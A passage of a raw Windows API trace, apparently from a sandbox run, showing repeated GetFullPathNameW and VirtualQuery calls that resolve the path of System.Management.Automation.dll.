nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.861] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.861] GetLastError () returned 0x0 [0096.862] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.862] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.862] GetLastError () returned 0x0 [0096.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.862] GetLastError () returned 0x0 [0096.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.862] GetLastError () returned 0x0 [0096.862] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.862] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.863] GetLastError () returned 0x0 [0096.864] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.864] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.864] GetLastError () returned 0x0 [0096.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.864] GetLastError () returned 0x0 [0096.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.864] GetLastError () returned 0x0 [0096.864] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.865] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.865] GetLastError () returned 0x0 [0096.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.866] GetLastError () returned 0x0 [0096.866] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.866] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.866] GetLastError () returned 0x0 [0096.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.866] GetLastError () returned 0x0 [0096.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.866] GetLastError () returned 0x0 [0096.866] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.867] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.867] GetLastError () returned 0x0 [0096.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.868] GetLastError () returned 0x0 [0096.868] VirtualQuery (in: lpAddress=0x27d574, lpBuffer=0x27e574, dwLength=0x1c | out: lpBuffer=0x27e574*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.869] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.870] GetLastError () returned 0x0 [0096.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: 